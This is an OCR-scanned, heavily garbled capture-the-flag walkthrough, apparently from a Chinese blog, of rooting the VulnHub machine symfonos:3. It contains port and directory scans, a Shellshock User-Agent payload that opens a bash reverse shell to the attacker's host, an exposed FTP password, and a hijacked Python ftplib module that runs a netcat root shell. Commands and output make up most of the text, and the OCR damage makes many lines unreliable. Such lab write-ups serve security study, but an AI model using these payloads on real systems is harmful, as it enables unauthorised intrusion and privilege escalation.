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N HbbE:  https://download.vulnhub.com/symfonos/symfonos3v2.7z
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7 Captured ARP Req/Rep packets, from 4 hosts. Total size: 420
MAC Vendor / Hostname

©0:50:56:c0:00: VMware,
00:50:56:ff:6¢C: VMware,
©0:0c:29:11:f6: VMware,
©0:50:56:ee:54:dd VMware, Ins:/blog.csdn.netiliajiajiang_

IP>/410.0.3.149

nmap

:~# nmap -sV -p- 10.0.3.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 ©9:41 EDT
Nmap scan report for 108.8.3.149
Host is up (©.80086s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4pl Debian 18+deb9ué (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: ©0:0C:29:11:F6:99 (VMware)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n rg/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds i s AR
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# dirb http://10.0.3.149

DIRB v2.22
By The Dark Raver

START_TIME: Mon Apr 27 23:29:56 2020
URL_BASE: http://10.0.3.149/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.06.3.149/ ----

+ http://10.0.3.149/cgi-bin/ (CODE:4@3|SIZE:275)

==> DIRECTORY: http://10.0.3.149/gate/

+ http://10.0.3.149/index.html (CODE:20@|SIZE:241)

+ http://10.0.3.149/server-status (CODE:403|SIZE:275)

---- Entering directory: http://10.0.3.149/gate/ ----
+ http://10.0.3.149/gate/index.html (CODE:20@|SIZE:202)

END_TIME: Mon Apr 27 23:30:03 2020
DOWNLOADED: 9224 - FOUND: 4 https://blog.csdn.net'Jiajiajiang_
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# € @ 10.0.3.149/cgi-bin/

Forbidden

You don't have permission to access this resource.

Apache/2.4.25 (Debian) Server at 10.0.3.149 Port 80
BABER, WX BAT A, FATER TR A S, REA RN, 8 7AERA SRR AT, 5T R i underworld
1) € @ 10.0.3.149/cgi-bin/underworld

22:35:19 up 17:09, 0 users, load average: 0.02, 0.04, 0.01
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Request

J Raw T Headers I Hex ]

GET fcgi-binfunderwarld HTTR/1.1

Host: 10.0.3.149

User-Agent: () { :; § /Mbinfbash -i = fdevitcp0.0.3.141/443 0<&1 281
Accept: text/html application/xhtml+xml application/xml, q=0.9 **q=0.8
Accept-Language: zh-CM,zh;q=0.8 en-US;q=0.5 en;q=0.3
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Contral: max—age=0|

ELREAT ST 44351 1, nc -lvp 443
SRJG ROEHER, 15 % shell

:~# nc =lvp 443
listening on [any] 443 ...
10.@8.3.149: inverse host lookup failed: Unknown host
connect to [10.2.3.141] from (UNKNOWN) [19.0.3.149] 50658

bash: no job control in this shell

cerberus@symfonos3: /usr/lib/cgi-bin$ id

id

uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(ww-data),10
@3(pcap)

tcpdump

SR Jmsudo -E R, WEARFRAUR SO, X RIE Twp, HKtcpdump
Jeflpspyfeid AT —F
https://github.com/DominicBreuker/pspy
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hadesgasymfonos3: £ 1s -11
total 8

-rw-r—r— 1 root hades 262 Apr 6 14:32 ftpclient.py
-rw-r—r— 1 root hades 251 Apr 28 01:38 statuscheck.txt

FATE TR A

hadesagsymfonos3: $ cat ftpclient.py
import ftplib

ftp = ftplib.FTP('127.0.0.1")
ftp.login(user="'hades', passwd='PTpZTfU4vxgzvRBE')

ftp.cwd('/srv/ftp/')

def upload():
filename = '/Jopt/client/statuscheck.txt’
ftp.storbinary('STOR '+filename, open(filename, 'rb'))
ftp.quit()

htt sdn. ajiajiang_

upload()

FATZAZ Al 51 AR

hades@symfonos3: $ find / -iname "#ftplibx" 2>/dev/null
Jusr/1ib/python2.7/ftplib.pyc

Jusr/1ib/python2.7/ftplib.py
Jusr/lib/python3.5/__pycache__/ftplib.cpython-35.pyc
Jusr/lib/python3.5/ftplib.p
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os.system("nc 127.0.0.1 12344 -e /bin/bash")

import os
import sys

os.system("id > /tmp/whoamiddd")
os.system("nc 127.0.0.1 12344 -e /bin/bash")
# Import SOCKS module if it exists, else standard socket module socket
try:
import SOCKS; socket = SOCKS; del SOCKS # import SOCKS as socket
from socket import getfqdn; socket.getfqdn = getfqdn; del getfqgdn
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cerberus@symfonos3:/usr/lib/cgi-bin$ nc -1p 12344
nc -lp 12344

id

uid=0(root) gid=0(root) groups=@(root)

id

uid=0(root) gid=0(root) groups=@(root)

s

proof.txt

cat *

Congrats on rooting symfonos:3!

Contact me via Twitter @zayotic to giR¥pFdddPg:R3dN.Netlliajiajiang_
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